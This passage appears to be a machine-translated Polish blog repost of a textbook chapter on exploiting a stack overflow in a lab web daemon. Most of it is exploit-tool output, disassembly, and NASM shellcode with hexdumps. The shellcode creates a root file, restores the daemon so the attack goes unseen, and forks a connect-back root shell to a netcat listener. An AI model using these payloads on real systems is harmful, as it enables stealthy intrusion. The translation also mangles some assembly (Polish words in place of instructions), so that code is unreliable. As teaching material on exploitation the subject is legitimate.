reader@hacking:~/booksrc $ nc -l -p 31337 &

[1] 7714

reader@hacking:~/booksrc $ jobs

[1]+ Running nc -l -p 31337 &

reader@hacking:~/booksrc $ ./xtool_tinywebd_steath.sh loopback_shell 127.0.0.1

target IP: 127.0.0.1

shellcode: loopback_shell (83 bytes)

fake request: "GET / HTTP/1.1\x00" (15 bytes)

[Fake Request (15 b)] [NOP (318 b)] [shellcode (83 b)] [ret addr (128 b)]

localhost [127.0.0.1] 80 (www) open

reader@hacking:~/booksrc $ fg

nc -l -p 31337

whoami

root

Połączenie używane przez ten exploit tworzy następujące wpisy pliku dziennika na komputerze serwera.

08/02/2007 13:37:36> Starting up..

08/02/2007 13:37:44> From 127.0.0.1:32828 "GET / HTTP/1.1" 200 OK

Mimo że zarejestrowanego adresu IP nie można zmienić za pomocą tej metody, samo żądanie wydaje się ważne, więc nie będzie przyciągać

Powrót

26.09.2020

Z widokiem na oczywistość

W scenariuszu ze świata rzeczywistego, inny oczywisty znak wtargnięcia jest jeszcze bardziej widoczny niż pliki dziennika. Jednak podczas testowania jest to coś, co łatwo przeoczyć. Jeśli pliki dziennika wydają Ci się najbardziej oczywistym znakiem włamania, zapominasz o utracie usługi. Gdy demon tinyweb zostanie wykorzystany, proces jest podstępny, aby dostarczyć zdalną powłokę roota, ale nie przetwarza już żądań WWW. W rzeczywistym scenariuszu ten exploit zostanie wykryty niemal natychmiast, gdy ktoś spróbuje uzyskać dostęp do witryny. Wykwalifikowany haker nie tylko może otworzyć program, aby go wykorzystać, ale także może ponownie połączyć program i utrzymać go w ruchu. Program kontynuuje przetwarzanie żądań i wydaje się, że nic się nie stało.

Krok po kroku

Złożone exploity są trudne, ponieważ wiele różnych rzeczy może pójść źle, bez wskazania przyczyny. Ponieważ śledzenie, gdzie wystąpił błąd, może potrwać wiele godzin, zazwyczaj lepiej jest rozbić złożony exploit na mniejsze części. Końcowym celem jest kawałek kodu powłoki, który wywoła powłokę, a jednocześnie utrzyma serwer tinyweb w ruchu. Powłoka jest interaktywna, co powoduje pewne komplikacje, więc zajmijmy się tym później. Na razie pierwszym krokiem powinno być zastanowienie się, jak połączyć demona tinyweb po jego wykorzystaniu. Zacznijmy od napisania fragmentu kodu powłoki, który udowodni, że działał, a następnie przywraca demona tinyweb do siebie, aby mógł przetwarzać kolejne żądania internetowe. Ponieważ demon tinyweb przekierowuje standardowe wyjście do / dev / null, zapis do standardowego wyjścia nie jest wiarygodnym znacznikiem dla kodu powłoki. Jednym z prostych sposobów na udowodnienie, że kod powłoki został uruchomiony, jest utworzenie pliku. Można to zrobić przez wywołanie funkcji open (), a następnie zamknięcie (). Oczywiście wywołanie open () będzie wymagało odpowiednich flag, aby utworzyć plik. Moglibyśmy przejrzeć pliki dołączone, aby dowiedzieć się, czym właściwie jest O_CREAT i wszystkie inne niezbędne definicje, i zrobić całą bitmatyczną argumentację dla argumentów, ale to jest rodzaj bólu w dupie. Jeśli pamiętasz, zrobiliśmy już coś takiego - program notet wywołuje funkcję open (), która utworzy plik, jeśli nie istnieje. Program strace może być użyty w dowolnym programie do pokazania każdego wywołania systemowego. W poniższym wyjściu służy do sprawdzenia, czy argumenty open () w C są zgodne z surowymi wywołaniami systemowymi.



reader@hacking:~/booksrc $ strace ./notetaker test

execve("./notetaker", ["./notetaker", "test"], [/* 27 vars */]) = 0

brk(0) = 0x804a000

access("/etc/ld.so.nohwcap", F_OK) = -1 ENOENT (No such file or directory)

mmap2(NULL, 8192, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_ANONYMOUS, -1, 0) = 0xb7fe5000

access("/etc/ld.so.preload", R_OK) = -1 ENOENT (No such file or directory)

open("/etc/ld.so.cache", O_RDONLY) = 3

fstat64(3, {st_mode=S_IFREG|0644, st_size=70799, ..}) = 0

mmap2(NULL, 70799, PROT_READ, MAP_PRIVATE, 3, 0) = 0xb7fd3000

close(3) = 0

access("/etc/ld.so.nohwcap", F_OK) = -1 ENOENT (No such file or directory)

open("/lib/tls/i686/cmov/libc.so.6", O_RDONLY) = 3

read(3, "\177ELF\1\1\1\0\0\0\0\0\0\0\0\0\3\0\3\0\1\0\0\0\0`\1\000".., 512) = 512

fstat64(3, {st_mode=S_IFREG|0644, st_size=1307104, ..}) = 0

mmap2(NULL, 1312164, PROT_READ|PROT_EXEC, MAP_PRIVATE|MAP_DENYWRITE, 3, 0) = 0xb7e92000

mmap2(0xb7fcd000, 12288, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_FIXED|MAP_DENYWRITE, 3,

0x13b) =

0xb7fcd000

mmap2(0xb7fd0000, 9636, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_FIXED|MAP_ANONYMOUS, -1, 0)

=

0xb7fd0000

close(3) = 0

mmap2(NULL, 4096, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_ANONYMOUS, -1, 0) = 0xb7e91000

set_thread_area({entry_number:-1 -> 6, base_addr:0xb7e916c0, limit:1048575, seg_32bit:1,

contents:0, read_exec_only:0, limit_in_pages:1, seg_not_present:0, useable:1}) = 0

mprotect(0xb7fcd000, 4096, PROT_READ) = 0

munmap(0xb7fd3000, 70799) = 0

brk(0) = 0x804a000

brk(0x806b000) = 0x806b000

fstat64(1, {st_mode=S_IFCHR|0620, st_rdev=makedev(136, 2), ..}) = 0

mmap2(NULL, 4096, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_ANONYMOUS, -1, 0) = 0xb7fe4000

write(1, "[DEBUG] buffer @ 0x804a008: \'t".., 37[DEBUG] buffer @ 0x804a008: 'test'

) = 37

write(1, "[DEBUG] datafile @ 0x804a070: \'/".., 43[DEBUG] datafile @ 0x804a070:

'/var/notes'

) = 43

open("/var/notes", O_WRONLY|O_APPEND|O_CREAT, 0600) = -1 EACCES (Permission denied)

dup(2) = 3

fcntl64(3, F_GETFL) = 0x2 (flags O_RDWR)

fstat64(3, {st_mode=S_IFCHR|0620, st_rdev=makedev(136, 2), ..}) = 0

mmap2(NULL, 4096, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_ANONYMOUS, -1, 0) = 0xb7fe3000

_llseek(3, 0, 0xbffff4e4, SEEK_CUR) = -1 ESPIPE (Illegal seek)

write(3, "[!!] Fatal Error in main() while".., 65[!!] Fatal Error in main() while opening

file:

Permission denied

) = 65

close(3) = 0

munmap(0xb7fe3000, 4096) = 0

exit_group(-1) = ?

Process 21473 detached

reader@hacking:~/booksrc $ grep open notetaker.c

fd = open(datafile, O_WRONLY|O_CREAT|O_APPEND, S_IRUSR|S_IWUSR);

fatal("in main() while opening file");

reader@hacking:~/booksrc $

Po uruchomieniu przez strace bit suid-binarny notetakera nie jest używany, więc nie ma uprawnień do otwierania pliku danych. Ale to nie ma znaczenia; po prostu chcemy się upewnić, że argumenty wywołania systemowego open () pasują do argumentów wywołania open () w C. Ponieważ są one zgodne, możemy bezpiecznie użyć wartości przekazanych do funkcji open () w binarnym pliku notatek jako argumenty wywołania systemowego open () w naszym shellcode. Kompilator wykonał już całą pracę polegającą na wyszukiwaniu definicji i łączeniu ich za pomocą bitowej operacji OR; po prostu musimy znaleźć argumenty wywołania w demontażu pliku binarnego notetera

reader@hacking:~/booksrc $ gdb -q ./notetaker

Using host libthread_db library "/lib/tls/i686/cmov/libthread_db.so.1".

(gdb) set dis intel

(gdb) disass main

Dump of assembler code for function main:

0x0804875f < main+0 >: push ebp

0x08048760 < main+1 >: mov ebp,esp

0x08048762 < main+3 >: sub esp,0x28

0x08048765 < main+6 >: and esp,0xfffffff0

0x08048768 < main+9 >: mov eax,0x0

0x0804876d < main+14 >: sub esp,eax

0x0804876f < main+16 >: mov DWORD PTR [esp],0x64

0x08048776 < main+23 >: call 0x8048601 < ec_malloc >

0x0804877b < main+28 >: mov DWORD PTR [ebp-12],eax

0x0804877e < main+31 >: mov DWORD PTR [esp],0x14

0x08048785 < main+38 >: call 0x8048601 < ec_malloc >

0x0804878a < main+43 >: mov DWORD PTR [ebp-16],eax

0x0804878d < main+46 >: mov DWORD PTR [esp+4],0x8048a9f

0x08048795 < main+54 >: mov eax,DWORD PTR [ebp-16]

0x08048798 < main+57 >: mov DWORD PTR [esp],eax

0x0804879b < main+60 >: call 0x8048480 < strcpy@plt >

0x080487a0 < main+65 >: cmp DWORD PTR [ebp+8],0x1

0x080487a4 < main+69 >: jg 0x80487ba < main+91 >

0x080487a6 < main+71 >: mov eax,DWORD PTR [ebp-16]

0x080487a9 < main+74 >: mov DWORD PTR [esp+4],eax

0x080487ad < main+78 >: mov eax,DWORD PTR [ebp+12]

0x080487b0 < main+81 >: mov eax,DWORD PTR [eax]

0x080487b2 < main+83 >: mov DWORD PTR [esp],eax

0x080487b5 < main+86 >: call 0x8048733 < usage >

0x080487ba < main+91 >: mov eax,DWORD PTR [ebp+12]

0x080487bd < main+94 >: add eax,0x4

0x080487c0 < main+97 >: mov eax,DWORD PTR [eax]

0x080487c2 < main+99 >: mov DWORD PTR [esp+4],eax

0x080487c6 < main+103 >: mov eax,DWORD PTR [ebp-12]

0x080487c9 < main+106 >: mov DWORD PTR [esp],eax

0x080487cc < main+109 >: call 0x8048480 < strcpy@plt >

0x080487d1 < main+114 >: mov eax,DWORD PTR [ebp-12]

0x080487d4 < main+117 >: mov DWORD PTR [esp+8],eax

0x080487d8 < main+121 >: mov eax,DWORD PTR [ebp-12]

0x080487db < main+124 >: mov DWORD PTR [esp+4],eax

0x080487df < main+128 >: mov DWORD PTR [esp],0x8048aaa

0x080487e6 < main+135 >: call 0x8048490 < printf@plt >

0x080487eb < main+140 >: mov eax,DWORD PTR [ebp-16]

0x080487ee < main+143 >: mov DWORD PTR [esp+8],eax

0x080487f2 < main+147 >: mov eax,DWORD PTR [ebp-16]

0x080487f5 < main+150 >: mov DWORD PTR [esp+4],eax

0x080487f9 < main+154 >: mov DWORD PTR [esp],0x8048ac7

0x08048800 < main+161 >: call 0x8048490 < printf@plt >

0x08048805 < main+166 >: mov DWORD PTR [esp+8],0x180

0x0804880d < main+174 >: mov DWORD PTR [esp+4],0x441

0x08048815 < main+182 >: mov eax,DWORD PTR [ebp-16]

0x08048818 < main+185 >: mov DWORD PTR [esp],eax

0x0804881b < main+188 >: call 0x8048410 < open@plt >

---Type < return > to continue, or q < return > to quit---q

Quit

(gdb)

Pamiętaj, że argumenty wywołania funkcji zostaną przesunięte na stos w odwrotnej kolejności. W tym przypadku kompilator zdecydował się użyć mov DWORD PTR [esp + offset], value_to_push_to_stack zamiast instrukcji push, ale struktura zbudowana na stosie jest równoważna. Pierwszy argument jest wskaźnikiem nazwy pliku w EAX, drugim argumentem (umieszczonym w [esp + 4]) jest 0x441, a trzecim argumentem (umieszczonym w [esp + 8]) jest 0x180. Oznacza to, że O_WRONLY | O_CREAT | O_APPEND okazuje się być 0x441, a S_IRUSR | S_IWUSR to 0x180. Poniższy kod powłoki używa tych wartości do utworzenia pliku o nazwie Hacked w głównym systemie plików.

mark.s

BITS 32

; Mark the filesystem to prove you ran.

jmp short one

two:

pop ebx ; Filename

xor ecx, ecx

mov BYTE [ebx+7], cl ; Null terminate filename

push BYTE 0x5 ; Open()

pop eax

mov WORD cx, 0x441 ; O_WRONLY|O_APPEND|O_CREAT

xor edx, edx

mov WORD dx, 0x180 ; S_IRUSR|S_IWUSR

int 0x80 ; Open file to create it.

; eax = returned file descriptor

mov ebx, eax ; File descriptor to second arg

push BYTE 0x6 ; Close ()

pop eax

int 0x80 ; Close file.

xor eax, eax

mov ebx, eax

inc eax ; Exit call.

int 0x80 ; Exit(0), to avoid an infinite loop.

one:

call two

db "/HackedX"

; 01234567

Kod powłoki otwiera plik, aby go utworzyć, a następnie natychmiast zamyka plik. Na koniec wywołuje wyjście, aby uniknąć nieskończonej pętli. Poniższy wynik pokazuje ten nowy kod powłoki używany z narzędziem exploit.

reader@hacking:~/booksrc $ ./tinywebd

Starting tiny web daemon.

reader@hacking:~/booksrc $ nasm mark.s

reader@hacking:~/booksrc $ hexdump -C mark

00000000 eb 23 5b 31 c9 88 4b 07 6a 05 58 66 b9 41 04 31 |.#[1.K.j.Xf.A.1|

00000010 d2 66 ba 80 01 cd 80 89 c3 6a 06 58 cd 80 31 c0 |.f....j.X.1.|

00000020 89 c3 40 cd 80 e8 d8 ff ff ff 2f 48 61 63 6b 65 |.@..../Hacke|

00000030 64 58 |dX|

00000032

reader@hacking:~/booksrc $ ls -l /Hacked

ls: /Hacked: No such file or directory

reader@hacking:~/booksrc $ ./xtool_tinywebd_steath.sh mark 127.0.0.1

target IP: 127.0.0.1

shellcode: mark (44 bytes)

fake request: "GET / HTTP/1.1\x00" (15 bytes)

[Fake Request (15 b)] [NOP (357 b)] [shellcode (44 b)] [ret addr (128 b)]

localhost [127.0.0.1] 80 (www) open

reader@hacking:~/booksrc $ ls -l /Hacked

-rw------- 1 root reader 0 2007-09-17 16:59 /Hacked

reader@hacking:~/booksrc $

Powrót

27.09.2020

Ponowne łączenie rzeczy

Aby ponownie połączyć rzeczy, musimy tylko naprawić wszelkie szkody dodatkowe spowodowane nadpisaniem i / lub kodem powłoki, a następnie przeskoczyć wykonanie z powrotem do pętli akceptującej połączenie w main (). Demontaż main () na wyjściu poniżej pokazuje, że możemy bezpiecznie wrócić do adresów 0x08048f64,0x08048f65 lub 0x08048fb7, aby wrócić do pętli akceptacji połączenia.

reader@hacking:~/booksrc $ gcc -g tinywebd.c

reader@hacking:~/booksrc $ gdb -q ./a.out

Using host libthread_db library "/lib/tls/i686/cmov/libthread_db.so.1".

(gdb) disass main

Dump of assembler code for function main:

0x08048d93 < main+0 >: push ebp

0x08048d94 < main+1 >: mov ebp,esp

0x08048d96 < main+3 >: sub esp,0x68

0x08048d99 < main+6 >: and esp,0xfffffff0

0x08048d9c < main+9 >: mov eax,0x0

0x08048da1 < main+14 >: sub esp,eax

.:[ output trimmed ]:.

0x08048f4b < main+440 >: mov DWORD PTR [esp],eax

0x08048f4e < main+443 >: call 0x8048860 < listen@plt >

0x08048f53 < main+448 >: cmp eax,0xffffffff

0x08048f56 < main+451 >: jne 0x8048f64 < main+465 >

0x08048f58 < main+453 >: mov DWORD PTR [esp],0x804961a

0x08048f5f < main+460>: call 0x8048ac4 < fatal >

0x08048f64 < main+465 >: nop

0x08048f65 < main+466 >: mov DWORD PTR [ebp-60],0x10

0x08048f6c < main+473 >: lea eax,[ebp-60]

0x08048f6f < main+476 >: mov DWORD PTR [esp+8],eax

0x08048f73 < main+480 >: lea eax,[ebp-56]

0x08048f76 < main+483 >: mov DWORD PTR [esp+4],eax

0x08048f7a < main+487>: mov eax,ds:0x804a970

0x08048f7f < main+492 >: mov DWORD PTR [esp],eax

0x08048f82 < main+495 >: call 0x80488d0

0x08048f87 < main+500 >: mov DWORD PTR [ebp-12],eax

0x08048f8a < main+503 >: cmp DWORD PTR [ebp-12],0xffffffff

0x08048f8e < main+507 >: jne 0x8048f9c

0x08048f90 < main+509 >: mov DWORD PTR [esp],0x804962e

0x08048f97 < main+516 >: call 0x8048ac4

0x08048f9c < main+521 >: mov eax,ds:0x804a96c

0x08048fa1 < main+526 >: mov DWORD PTR [esp+8],eax

0x08048fa5 < main+530 >: lea eax,[ebp-56]

0x08048fa8 < main+533 >: mov DWORD PTR [esp+4],eax

0x08048fac < main+537 >: mov eax,DWORD PTR [ebp-12]

0x08048faf < main+540 >: mov DWORD PTR [esp],eax

0x08048fb2 < main+543 >: call 0x8048fb9 < handle_connection >

0x08048fb7 < main+548 >: jmp 0x8048f65 < main+466 >

End of assembler dump.

(gdb)

Wszystkie te trzy adresy idą zasadniczo w to samo miejsce. Użyjmy 0x08048fb7, ponieważ jest to oryginalny adres zwrotny używany do wywołania handle_connection (). Są jednak inne rzeczy, które musimy najpierw naprawić. Spójrz na prolog funkcji i epilog dla handle_connection (). Są to instrukcje, które ustawiają i usuwają struktury ramki stosu na stosie.

(gdb) disass handle_connection

Dump of assembler code for function handle_connection:

0x08048fb9 < handle_connection+0 >: push ebp

0x08048fba < handle_connection+1 >: mov ebp,esp

0x08048fbc < handle_connection+3 >: push ebx

0x08048fbd < handle_connection+4 >: sub esp,0x644

0x08048fc3 < handle_connection+10 >: lea eax,[ebp-0x218]

0x08048fc9 < handle_connection+16 >: mov DWORD PTR [esp+4],eax

0x08048fcd < handle_connection+20 >: mov eax,DWORD PTR [ebp+8]

0x08048fd0 < handle_connection+23 >: mov DWORD PTR [esp],eax

0x08048fd3 < handle_connection+26 >: call 0x8048cb0 < recv_line >

0x08048fd8 < handle_connection+31 >: mov DWORD PTR [ebp-0x620],eax

0x08048fde < handle_connection+37 >: mov eax,DWORD PTR [ebp+12]

0x08048fe1 < handle_connection+40 >: movzx eax,WORD PTR [eax+2]

0x08048fe5 < handle_connection+44 >: mov DWORD PTR [esp],eax

0x08048fe8 < handle_connection+47 >: call 0x80488f0 < ntohs@plt >

.:[ output trimmed ]:.

0x08049302 < handle_connection+841 >: call 0x8048850 < write@plt >

0x08049307 < handle_connection+846 > : mov DWORD PTR [esp+4],0x2

0x0804930f < handle_connection+854 >: mov eax,DWORD PTR [ebp+8]

0x08049312 < handle_connection+857 >: mov DWORD PTR [esp],eax

0x08049315 < handle_connection+860 >: call 0x8048800 < shutdown@plt >

0x0804931a < handle_connection+865 >: add esp,0x644

0x08049320 < handle_connection+871 >: pop ebx

0x08049321 < handle_connection+872 >: pop ebp

0x08049322 < handle_connection+873 >: ret

End of assembler dump.

(gdb)

Na początku funkcji funkcja prolog zapisuje bieżące wartości rejestrów EBP i EBX, przesuwając je do stosu i ustawia EBP na bieżącą wartość ESP, aby można go było wykorzystać jako punkt odniesienia dla dostępu do zmiennych stosu . Wreszcie 0x644 bajty są zapisywane na stosie dla tych zmiennych stosu przez odjęcie od ESP. Epilog funkcji na końcu przywraca ESP dodając 0x644 z powrotem do niego i przywracając zapisane wartości EBX i EBP, popping je ze stosu z powrotem do rejestrów. Instrukcje nadpisywania znajdują się w funkcji recv_line (); jednak zapisują dane w ramce stosu handle_connection (), więc samo nadpisanie odbywa się w handle_connection (). Adres zwrotny, który nadpisujemy, jest wypychany na stos, gdy wywoływany jest handle_connection (), więc zapisane wartości EBP i EBX wypychane do stosu w prologu funkcji będą między adresem zwrotnym a buforem ulegającym uszkodzeniu. Oznacza to, że EBP i EBX będą zniekształcone, gdy wykona się funkcja epilogu. Ponieważ nie uzyskujemy kontroli nad wykonaniem programu aż do instrukcji powrotu, wszystkie instrukcje między instrukcją nadpisywania a instrukcją powrotu muszą zostać wykonane. Po pierwsze, musimy ocenić, ile dodatkowych szkód wyrządzają dodatkowe instrukcje po nadpisaniu. Instrukcja montażu int3 tworzy bajt 0xcc, który jest dosłownie punktem przerwania debugowania. Poniższy kod powłoki używa instrukcji int3 zamiast wyjścia. Ten punkt przerwania zostanie przechwycony przez GDB, co pozwoli nam sprawdzić dokładny stan programu po wykonaniu kodu powłoki.

mark_break.s

BITS 32

; Mark the filesystem to prove you ran.

jmp short one

two:

pop ebx ; Filename

xor ecx, ecx

mov BYTE [ebx+7], cl ; Null terminate filename

push BYTE 0x5 ; Open()

pop eax

mov WORD cx, 0x441 ; O_WRONLY|O_APPEND|O_CREAT

xor edx, edx

mov WORD dx, 0x180 ; S_IRUSR|S_IWUSR

int 0x80 ; Open file to create it.

; eax = returned file descriptor

mov ebx, eax ; File descriptor to second arg0

push BYTE 0x6 ; Close ()

pop eax

int 0x80 ; Close file.

int3 ; zinterrupt

one:

call two

db "/HackedX"

Aby użyć tego kodu powłoki, najpierw skonfiguruj GDB do debugowania demona tinyweb. Na wyjściu poniżej punkt przerwania jest ustawiony tuż przed wywołaniem handle_connection (). Celem jest przywrócenie zniekształconych rejestrów do ich pierwotnego stanu znalezionego w tym punkcie przerwania.

reader@hacking:~/booksrc $ ./tinywebd

Starting tiny web daemon.

reader@hacking:~/booksrc $ ps aux | grep tinywebd

root 23497 0.0 0.0 1636 356 ? Ss 17:08 0:00 ./tinywebd

reader 23506 0.0 0.0 2880 748 pts/1 R+ 17:09 0:00 grep tinywebd

reader@hacking:~/booksrc $ gcc -g tinywebd.c

reader@hacking:~/booksrc $ sudo gdb -q -pid=23497 --symbols=./a.out

warning: not using untrusted file "/home/reader/.gdbinit"

Using host libthread_db library "/lib/tls/i686/cmov/libthread_db.so.1".

Attaching to process 23497

/cow/home/reader/booksrc/tinywebd: No such file or directory.

A program is being debugged already. Kill it? (y or n) n

Program not killed.

(gdb) set dis intel

(gdb) x/5i main+533

0x8048fa8 < main+533 >: mov DWORD PTR [esp+4],eax

0x8048fac < main+537 >: mov eax,DWORD PTR [ebp-12]

0x8048faf < main+540 >: mov DWORD PTR [esp],eax

0x8048fb2 < main+543 >: call 0x8048fb9 < handle_connection >

0x8048fb7 < main+548 >: jmp 0x8048f65 < main+466 >

(gdb) break *0x8048fb2

Breakpoint 1 at 0x8048fb2: file tinywebd.c, line 72.

(gdb) cont

Continuing.

W powyższym wyjściu punkt przerwania jest ustawiony tuż przed wywołaniem handle_connection () (pogrubiony). Następnie, w innym oknie terminala, narzędzie exploit jest używane do rzucenia na niego nowego kodu powłoki. To przyspieszy wykonanie do punktu przerwania w drugim terminalu.

reader@hacking:~/booksrc $ nasm mark_break.s

reader@hacking:~/booksrc $ ./xtool_tinywebd.sh mark_break 127.0.0.1

target IP: 127.0.0.1

shellcode: mark_break (44 bytes)

[NOP (372 bytes)] [shellcode (44 bytes)] [ret addr (128 bytes)]

localhost [127.0.0.1] 80 (www) open

reader@hacking:~/booksrc $

Po powrocie do terminalu debugowania napotykany jest pierwszy punkt przerwania. Wyświetlane są niektóre ważne rejestry stosów, które pokazują ustawienia stosu przed (i po) wywołaniu handle_connection (). Następnie wykonanie kontynuuje instrukcję int3 w kodzie powłoki, która działa jak punkt przerwania. Następnie te rejestry stosów są ponownie sprawdzane, aby zobaczyć ich stan w momencie, gdy zaczyna działać kod powłoki.

Breakpoint 1, 0x08048fb2 in main () at tinywebd.c:72

72 handle_connection(new_sockfd, &client_addr, logfd);

(gdb) i r esp ebx ebp

esp 0xbffff7e0 0xbffff7e0

ebx 0xb7fd5ff4 -1208131596

ebp 0xbffff848 0xbffff848

(gdb) cont

Continuing.

Program received signal SIGTRAP, Trace/breakpoint trap.

0xbffff753 in ?? ()

(gdb) i r esp ebx ebp

esp 0xbffff7e0 0xbffff7e0

ebx 0x6 6

ebp 0xbffff624 0xbffff624

(gdb)

To wyjście pokazuje, że EBX i EBP są zmieniane w momencie, w którym rozpoczyna się wykonywanie kodu powłoki. Jednak kontrola instrukcji w demontażu main () pokazuje, że EBX nie jest faktycznie używany. Kompilator prawdopodobnie zapisał ten rejestr na stosie ze względu na pewne zasady dotyczące wywoływania konwencji, mimo że nie jest on używany. EBP jest jednak mocno używany, ponieważ jest punktem odniesienia dla wszystkich lokalnych zmiennych stosu. Ponieważ oryginalna zapisana wartość EBP została nadpisana przez nasz exploit, oryginalna wartość musi zostać odtworzona. Po przywróceniu pierwotnej wartości EBP kod powłoki powinien być w stanie wykonać brudną pracę, a następnie powrócić do main () jak zwykle. Ponieważ komputery są deterministyczne, instrukcje montażu jasno wyjaśnią, jak to wszystko zrobić.

(gdb) set dis intel

(gdb) x/5i main

0x8048d93 < main >: push ebp

0x8048d94 < main+1 >: mov ebp,esp

0x8048d96 < main+3 >: sub esp,0x68

0x8048d99 < main+6 >: and esp,0xfffffff0

0x8048d9c < main+9 >: mov eax,0x0

(gdb) x/5i main+533

0x8048fa8 < main+533 >: mov DWORD PTR [esp+4],eax

0x8048fac < main+537 >: mov eax,DWORD PTR [ebp-12]

0x8048faf < main+540 >: mov DWORD PTR [esp],eax

0x8048fb2 < main+543 >: call 0x8048fb9 < handle_connection >

0x8048fb7 < main+548 >: jmp 0x8048f65 < main+466 >

(gdb)

Krótkie spojrzenie na funkcję prolog dla main () pokazuje, że EBP powinien być 0x68 bajtów większy niż ESP. Ponieważ ESP nie został uszkodzony przez nasz exploit, możemy przywrócić wartość EBP, dodając 0x68 do ESP na końcu naszego kodu powłoki. Po przywróceniu EBP do odpowiedniej wartości, wykonanie programu można bezpiecznie przywrócić do pętli akceptującej połączenie. Właściwym adresem zwrotnym dla wywołania handle_connection () jest instrukcja znaleziona po wywołaniu 0x08048fb7. Poniższy kod powłoki używa tej techniki.

mark_restore.s

BITS 32

; Mark the filesystem to prove you ran.

jmp short one

two:

pop ebx ; Filename

xor ecx, ecx

mov BYTE [ebx+7], cl ; Null terminate filename

push BYTE 0x5 ; Open()

pop eax

mov WORD cx, 0x441 ; O_WRONLY|O_APPEND|O_CREAT

xor edx, edx

mov WORD dx, 0x180 ; S_IRUSR|S_IWUSR

int 0x80 ; Open file to create it.

; eax = returned file descriptor

mov ebx, eax ; File descriptor to second arg

push BYTE 0x6 ; Close ()

pop eax

int 0x80 ; close file

lea ebp, [esp+0x68] ; Restore EBP.

push 0x08048fb7 ; Return address.

ret ; Return

one:

call two

db "/HackedX"



Po złożeniu i użyciu w exploicie ten kod powłoki przywróci działanie demona tinyweb po zaznaczeniu systemu plików. Demon cyny nie wie nawet, że coś się stało

reader@hacking:~/booksrc $ nasm mark_restore.s

reader@hacking:~/booksrc $ hexdump -C mark_restore

00000000 eb 26 5b 31 c9 88 4b 07 6a 05 58 66 b9 41 04 31 |.&[1.K.j.Xf.A.1|

00000010 d2 66 ba 80 01 cd 80 89 c3 6a 06 58 cd 80 8d 6c |.f....j.X..l|

00000020 24 68 68 b7 8f 04 08 c3 e8 d5 ff ff ff 2f 48 61 |$hh...../Ha|

00000030 63 6b 65 64 58 |ckedX|

00000035

reader@hacking:~/booksrc $ sudo rm /Hacked

reader@hacking:~/booksrc $ ./tinywebd

Starting tiny web daemon.

reader@hacking:~/booksrc $ ./xtool_tinywebd_steath.sh mark_restore 127.0.0.1

target IP: 127.0.0.1

shellcode: mark_restore (53 bytes)

fake request: "GET / HTTP/1.1\x00" (15 bytes)

[Fake Request (15 b)] [NOP (348 b)] [shellcode (53 b)] [ret addr (128 b)]

localhost [127.0.0.1] 80 (www) open

reader@hacking:~/booksrc $ ls -l /Hacked

-rw------- 1 root reader 0 2007-09-19 20:37 /Hacked

reader@hacking:~/booksrc $ ps aux | grep tinywebd

root 26787 0.0 0.0 1636 420 ? Ss 20:37 0:00 ./tinywebd

reader 26828 0.0 0.0 2880 748 pts/1 R+ 20:38 0:00 grep tinywebd

reader@hacking:~/booksrc $ ./webserver_id 127.0.0.1

The web server for 127.0.0.1 is Tiny webserver

reader@hacking:~/booksrc $

Powrót

28.09.2020

Dzieci robotnicy
Teraz, gdy trudna część jest zorientowana, możemy użyć tej techniki do cichego zrobienia powłoki roota. Ponieważ powłoka jest interaktywna, ale wciąż chcemy, aby proces obsługiwał żądania WWW, musimy rozwidlić proces potomny. Wywołanie fork () tworzy proces potomny, który jest dokładną kopią rodzica, z tym wyjątkiem, że zwraca 0 w procesie potomnym i nowy identyfikator procesu w procesie macierzystym. Chcemy, aby nasz shellcode był rozwidlony, a proces potomny obsługiwał powłokę roota, podczas gdy proces macierzysty przywraca wykonanie tinywebd. W poniższym kodzie powłoki do początku loopback_shell.s dodano kilka instrukcji. Najpierw tworzone jest wywołanie widełkowe, a wartość zwracana jest umieszczana w rejestrze EAX. Kilka następnych instrukcji testowych, aby sprawdzić, czy EAX wynosi zero. Jeśli EAX jest równe zero, przeskakujemy do child_process, aby wywołać powłokę. W przeciwnym razie jesteśmy w procesie nadrzędnym, więc kod powłoki przywraca wykonanie do tinywebd.

loopback_shell_restore.s

BITY 32

push BYTE 0x02; Fork to syscall # 2

pop eax

int 0x80; Po rozwidleniu w procesie potomnym eax == 0.

test eax, eax

jz child_process; W procesie potomnym spawnuje powłokę.

; W procesie macierzystym przywróć tinywebd.

lea ebp, [esp + 0x68]; Przywróć EBP.

naciśnij 0x08048fb7; Adres zwrotny.

ret; Powrót

child_process:

; s = gniazdo (2, 1, 0)

push BYTE 0x66; Socketcall to syscall # 102 (0x66)

pop eax

cdq; Zeruj edx, aby później użyć go jako pustego DWORD.

xor ebx, ebx; ebx to rodzaj gniazda.

inc ebx; 1 = SYS_SOCKET = gniazdo ()

push edx; Build arg array: {protocol = 0,

push BYTE 0x1; (w odwrotnej kolejności) SOCK_STREAM = 1,

push BYTE 0x2; AF_INET = 2}

mov ecx, esp; ecx = ptr do tablicy argumentów

int 0x80; Po syscall eax ma deskryptor pliku gniazda.

.: [Wyjście przycięte; reszta jest taka sama jak loopback_shell.s. ]:.

Poniższa lista przedstawia używany kod powłoki. Zamiast wielu terminali jest używanych wiele zadań, więc detektor netcat jest wysyłany do tła, kończąc polecenie znakiem ampersand (&). Po powrocie powłoki komenda fg przywraca słuchacza na pierwszy plan. Proces zostaje następnie zawieszony przez naciśnięcie CTRL-Z, który powraca do powłoki BASH. Korzystanie z wielu terminali może być łatwiejsze, ale śledzenie zadań jest przydatne w tych czasach, w których nie ma luksusu wielu terminali.

reader@hacking:~/booksrc $ nasm loopback_shell_restore.s

reader@hacking:~/booksrc $ hexdump -C loopback_shell_restore

00000000 6a 02 58 cd 80 85 c0 74 0a 8d 6c 24 68 68 b7 8f |j.X..t.l$hh.|

00000010 04 08 c3 6a 66 58 99 31 db 43 52 6a 01 6a 02 89 |..jfX.1.CRj.j.|

00000020 e1 cd 80 96 6a 66 58 43 68 7f bb bb 01 66 89 54 |..jfXCh..f.T|

00000030 24 01 66 68 7a 69 66 53 89 e1 6a 10 51 56 89 e1 |$.fhzifS.j.QV.|

00000040 43 cd 80 87 f3 87 ce 49 b0 3f cd 80 49 79 f9 b0 |C...I.?.Iy.|

00000050 0b 52 68 2f 2f 73 68 68 2f 62 69 6e 89 e3 52 89 |.Rh//shh/bin.R.|

00000060 e2 53 89 e1 cd 80 |.S..|

00000066

